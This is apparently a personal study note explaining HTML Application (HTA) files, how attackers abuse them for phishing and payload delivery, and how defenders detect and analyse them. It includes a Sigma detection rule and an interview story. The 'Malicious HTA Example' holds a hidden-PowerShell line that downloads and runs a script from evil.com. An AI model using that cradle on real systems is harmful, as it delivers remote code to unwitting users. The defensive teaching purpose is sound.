Select a result to preview

HTA (HTML Application)

##cybersecurity/malware/file-types ##cybersecurity/red-team/initial-access ##interview/concepts

HTA (HTML Application)

One-liner: A Windows file format that combines HTML/CSS/JavaScript with full desktop application privileges, frequently abused for malware delivery.

🎯 What Is It?

An HTA (HTML Application) is a Microsoft Windows program that uses HTML, CSS, and scripting languages (VBScript or JavaScript) to create a desktop application interface. Unlike regular web pages that run in a sandboxed browser, HTAs execute through mshta.exe with the full privileges of the userβ€”making them powerful for both legitimate automation and malicious exploitation.

πŸ€” Why It Matters

πŸ”¬ How It Works

Legitimate Use Cases

HTA File Structure

An HTA contains three main parts:

<html>
<head>
    <!-- 1. HTA Declaration - defines app properties -->
    <title>TBFC Utility Tool</title>
    <HTA:APPLICATION 
        ID="TBFCApp"
        APPLICATIONNAME="Utility Tool"
        BORDER="thin"
        SHOWINTASKBAR="yes"
    />
</head>

<body>
    <!-- 2. Interface (HTML/CSS) -->
    <h3>Welcome to the Utility Tool</h3>
    
    <!-- 3. Script (VBScript or JavaScript) -->
    <script language="VBScript">
        Sub RunAction()
            MsgBox "Action executed!"
        End Sub
    </script>
</body>
</html>

Execution Flow

User opens .hta file
       ↓
Windows launches mshta.exe
       ↓
mshta.exe parses HTML/script
       ↓
Script executes with user privileges
       ↓
Can spawn child processes (powershell, cmd, etc.)

βš”οΈ Malicious Usage Patterns

Pattern Description Example
Phishing Delivery Attached to emails as "invoices" or "surveys" salary_survey.hta
Downloader/Dropper Fetches second-stage payload from C2 Invoke-WebRequest in VBScript
Obfuscation Base64/ROT13 encoded payloads FromBase64String()
LOLBAS Calls built-in Windows tools powershell.exe, wscript.exe

Malicious HTA Example

<HTA:APPLICATION SHOWINTASKBAR="no" WINDOWSTATE="minimize">
<script language="VBScript">
  Set shell = CreateObject("WScript.Shell")
  cmd = "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
  shell.Run cmd, 0, False
  self.close
</script>

πŸ›‘οΈ Detection & Prevention

How to Detect

Sigma Rule Example

title: Mshta Spawning Suspicious Process
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\mshta.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\wscript.exe'
  condition: selection

How to Prevent / Mitigate

πŸ” Analysis Methodology

When analyzing a suspicious HTA:

  1. Open in text editor (never execute!)
  2. Check metadata: <title> and <HTA:APPLICATION> for social engineering clues
  3. Find script section: Look for <script language="VBScript"> or <script language="JavaScript">
  4. Identify functions: Search for Function, Sub, CreateObject
  5. Decode payloads: Extract Base64/encoded strings β†’ decode with Cyberchef
  6. Trace execution flow: Follow variables to see what gets executed

🎀 Interview Angles

Common Questions

STAR Story

Situation: Received an alert for mshta.exe spawning powershell.exe with encoded command-line arguments.
Task: Investigate whether this was malicious and determine the scope of compromise.
Action: Extracted the HTA file from email logs, decoded the Base64 payload revealing a C2 callback, identified 3 affected hosts via EDR telemetry, and isolated them.
Result: Contained the threat before data exfiltration; created detection rule that caught 2 more attempts the following week.

πŸ“š References